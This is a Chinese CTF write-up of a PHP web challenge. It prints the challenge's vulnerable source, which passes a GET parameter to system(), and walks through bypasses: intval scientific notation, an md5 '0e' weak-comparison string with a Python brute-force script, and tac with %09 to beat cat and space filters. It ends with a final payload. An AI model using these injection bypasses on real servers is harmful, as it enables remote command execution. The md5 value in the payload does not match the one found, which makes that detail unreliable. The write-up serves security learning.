打开场景,一堆乱码,让我们不要看headers,那不用说了,肯定hint在headers里面,burp抓包,当前页面headers没有啥的
那就扫目录吧,扫出来一个robots.txt,进
有一个fAke_flaaaaag.php,很明显是假的,我们再看headers头还是没有啥有用的
访问/fAke_flaaaaag.php,这次抓包发现一个look at me头,终于发现了正确的flag地址:/fl4g.php
什么,这就满足了?naive!访问下来是一堆源码,代码审计
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
//level 1
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>";
}else{
die("金钱解决不了穷人的本质问题");
}
}else{
die("去非洲吧");
}
//level 2
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>";
else
die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");
}else{
die("去非洲吧");
}
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
一眼就看到 system($get_flag);那么要到这里该怎么办呢,过三关:
if(intval($num) < 2020 && intval($num + 1) > 2021)
if ($md5==md5($md5))
str_ireplace("cat", "wctf2020", $get_flag);5($md5))
真的是简单粗暴啊
首先过第一关,intval函数其实是有一个bug的,对于科学计数法表示的字符串形如’2e10’,他会先转字符串再比较,判定他是2
而如果说是’2e10’+1,他会先进行计算,结果是200000…1,当然这跟php版本有关,只在某些特定版本有效,5.5.38有效
然后是第二关,md5加密后和自己的md5值相等,其实和第一关思路差不多。还是因为php的弱类型比较
0e开头,md5加密后还是0e开头,那么我们就认为这两个值相等,这里其实参考了撞库的思想,其他的比如1e和1e相等的数不知道有没有
自己写脚本跑
import hashlib
def run():
i = 0
while True:
text = '0e{}'.format(i)
m = hashlib.md5(text.encode('utf-8')).hexdigest()
print(text,m)
if m[0:2] == '0e' :
if m[2:].isdigit():
print('find it:',text,":",m)
break
i +=1
run()
跑出来md5=0e215963017
第三关,str_ireplace(“cat”, “wctf2020”, $get_flag);把cat替换成wctf2020,绕过的就是cat不能用
先ls一下,确定flag的位置,然后绕过cat命令,那其他命令可多了去了,tac,sort。。。随便整一个,或者ca\t也行,总之就是一个绕过,%09绕过空格过滤(PHP常用姿势)
最终payload:num=1e10&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
参考视频连接:https://www.bilibili.com/video/BV1u3411x7vs/